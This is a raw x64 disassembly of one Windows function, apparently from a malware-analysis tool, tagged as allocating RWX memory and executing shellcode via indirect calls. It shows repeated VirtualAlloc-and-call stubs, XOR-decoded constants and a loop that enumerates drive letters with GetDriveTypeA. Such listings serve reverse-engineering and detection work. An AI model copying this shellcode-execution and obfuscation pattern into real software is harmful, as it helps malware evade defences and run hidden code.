Function at 0x140005790
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x220
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
lea rax, [rsp + 0x248]
mov qword [rbp], 0x1b
mov r13, qword [rax]
lea r14, [rsp + 0x248]
mov rax, qword [0x14000bf80]
lea rbx, [0x140006230]
xor ecx, ecx
mov qword [rbp + 8], r13
mov qword [r14], 0
lea rsi, [0x140000000]
lea edi, [rcx + 3]
test rax, rax
je 0x140005837
nop
cmp rax, rbx
je 0x140005826
inc ecx
mov rax, qword [rsi + rcx*8 + 0xbf80]
test rax, rax
jne 0x140005810
jmp 0x140005837
mov r8, qword [rsi + rcx*8 + 0xaca0]
test r8, r8
jne 0x140005913
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400058f2
mov rax, rbx
mov rcx, r8
mov rdx, rdi
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140005863
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14000c2a8]
mov qword [rsi + rax*8 + 0xbf80], rbx
mov qword [rsi + rax*8 + 0xaca0], r8
inc rax
mov qword [0x14000c2a8], rax
mov rcx, qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rdx, [rbp]
call r8
xor edx, edx
movabs r12, 0x1422b1b22c01f263
mov qword [r14], rdx
movabs r15, 0x6a7f49c7b32571d8
mov qword [rbp + 0x58], rax
test rax, rax
jne 0x140005b47
movabs rax, 0x7b4fd4ff0c5cdf38
lea rbx, [0x140006230]
mov qword [rbp], rax
movabs rcx, 0x63a0a1dd5b5dfc8a
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x91025abd20508aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xa81a0db6959e4dec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x63a0a1d73f3890e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xc97c2dd8faf7398d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rcx
mov ecx, edx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
lea rax, [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
mov qword [rbp], rax
lea rax, [rsp + 0x248]
vmovdqa ymmword [rbp + 0x20], ymm1
mov qword [rax], rdx
mov rax, qword [0x14000c5d0]
test rax, rax
vzeroupper
je 0x140005a59
nop dword [rax]
cmp rax, rbx
je 0x140005a46
inc ecx
mov rax, qword [rsi + rcx*8 + 0xc5d0]
test rax, rax
jne 0x140005a30
jmp 0x140005a59
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0xc8f0]
test r10, r10
jne 0x140005b32
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
je 0x140005b11
mov rax, rbx
mov rcx, r10
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdi, 1
jne 0x140005a82
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14000f4c8]
mov qword [rsi + rax*8 + 0xc5d0], rbx
mov qword [rsi + rax*8 + 0xc8f0], r10
inc rax
mov qword [0x14000f4c8], rax
lea rdx, [rbp]
lea rcx, [fcn.140001060]
call r10
xor eax, eax
jmp 0x1400061f1
mov esi, edx
mov byte [rbp + 0x60], 0x41
mov rbx, rdx
lea rcx, [rsp + 0x248]
movabs r9, 0x1422b1b22c3b9146
lea r8, [0x1400062f0]
lea r13, [0x140000000]
jmp 0x140005b74
xor edx, edx
mov qword [rbp + 0x10], r9
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x40]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x10], rax
mov rax, qword [0x14000f4e0]
movdqa xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], 0x104
mov r14, qword [rcx]
mov qword [rcx], rdx
mov ecx, edx
test rax, rax
je 0x140005c09
nop
cmp rax, r8
je 0x140005bf6
inc ecx
mov rax, qword [r13 + rcx*8 + 0xf4e0]
test rax, rax
jne 0x140005be0
jmp 0x140005c09
mov eax, ecx
mov r10, qword [r13 + rax*8 + 0xf1a0]
test r10, r10
jne 0x140005cf0
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, [0x1400062f0]
mov r10, rax
test rax, rax
je 0x140005ccf
mov rcx, r8
mov rdx, rdi
nop dword [rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rax - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140005c40
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x14000b2e0]
mov qword [r13 + rax*8 + 0xf4e0], r8
mov qword [r13 + rax*8 + 0xf1a0], r10
inc rax
mov qword [0x14000b2e0], rax
lea rax, [rbp + 0x60]
lea r9, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0xb0]
lea rcx, [fcn.1400010c0]
call r10
lea rax, [rsp + 0x248]
xor ecx, ecx
mov qword [rax], 0
mov rax, qword [0x14000b610]
test rax, rax
je 0x140005d5d
lea rdx, [0x140006350]
cmp rax, rdx
je 0x140005d4c
inc ecx
mov rax, qword [r13 + rcx*8 + 0xb610]
test rax, rax
jne 0x140005d36
jmp 0x140005d5d
mov r8, qword [r13 + rcx*8 + 0xc2b0]
test r8, r8
jne 0x140005e47
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140005e1f
lea rax, [0x140006350]
mov rcx, r8
mov rdx, rdi
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140005d90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14000c2a0]
lea rcx, [0x140006350]
mov qword [r13 + rax*8 + 0xb610], rcx
mov qword [r13 + rax*8 + 0xc2b0], r8
inc rax
mov qword [0x14000c2a0], rax
mov rcx, qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
lea rdx, [rbp + 0xb0]
call r8
lea rcx, [rsp + 0x248]
mov qword [rcx], r14
test eax, eax
je 0x140005e7f
mov rcx, qword [rbp + 0x58]
inc esi
movzx eax, byte [rbp + 0x60]
mov byte [rbx + rcx], al
inc rbx
lea rcx, [rsp + 0x248]
movzx eax, byte [rbp + 0x60]
lea r8, [0x1400062f0]
inc al
movabs r9, 0x1422b1b22c3b9146
mov byte [rbp + 0x60], al
cmp al, 0x5a
jle 0x140005b72
mov r13, qword [rbp + 8]
test esi, esi
jne 0x1400061e2
movabs rcx, 0x63a0a1dd5b5dfc8a
lea rbx, [0x140006230]
movabs rax, 0x7002defc0c5cdf38
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20], rax
movabs rax, 0x51969b4d65318aa
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
movabs rax, 0xc97c2dd8f09357f8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x38], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
movabs rax, 0xc97c2dd8faf7398d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x90], rax
mov qword [rbp + 8], rcx
xor ecx, ecx
mov rax, qword [rbp + 8]
vmovdqu ymm0, ymmword [rbp + 0x20]
mov qword [rbp + 0x98], rax
lea rax, [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
mov qword [rbp + 8], rax
lea rax, [rsp + 0x248]
vmovdqa ymmword [rbp + 0x20], ymm1
mov qword [rax], 0
mov rax, qword [0x14000c5d0]
test rax, rax
vzeroupper
lea rsi, [0x140000000]
je 0x140005fba
cmp rax, rbx
je 0x140005fa9
inc ecx
mov rax, qword [rsi + rcx*8 + 0xc5d0]
test rax, rax
jne 0x140005f93
jmp 0x140005fba
mov r8, qword [rsi + rcx*8 + 0xc8f0]
test r8, r8
jne 0x140006096
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140006075
mov rax, rbx
mov rcx, r8
mov rdx, rdi
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140005fe6
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14000f4c8]
mov qword [rsi + rax*8 + 0xc5d0], rbx
mov qword [rsi + rax*8 + 0xc8f0], r8
inc rax
mov qword [0x14000f4c8], rax
lea rdx, [rbp + 8]
lea rcx, [fcn.140001060]
call r8
lea rax, [rsp + 0x248]
xor ecx, ecx
mov qword [rax], 0
lea rbx, [0x140006230]
mov rax, qword [0x14000a980]
test rax, rax
je 0x1400060ef
cmp rax, rbx
je 0x1400060de
inc ecx
mov rax, qword [rsi + rcx*8 + 0xa980]
test rax, rax
jne 0x1400060c8
jmp 0x1400060ef
mov r8, qword [rsi + rcx*8 + 0xb2f0]
test r8, r8
jne 0x1400061d0
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1400061af
mov rax, rbx
mov rcx, r8
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdi, 1
jne 0x140006120
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rcx, qword [0x14000ee78]
mov qword [rsi + rcx*8 + 0xa980], rbx
mov qword [rsi + rcx*8 + 0xb2f0], r8
inc rcx
mov qword [0x14000ee78], rcx
mov rcx, qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rdx, [rbp + 0x58]
call r8
xor eax, eax
jmp 0x1400061f1
mov rax, qword [rbp + 0x58]
movsxd rcx, esi
mov byte [rcx + rax], 0
mov rax, qword [rbp + 0x58]
lea rcx, [rsp + 0x248]
mov qword [rcx], r13
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140006390
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret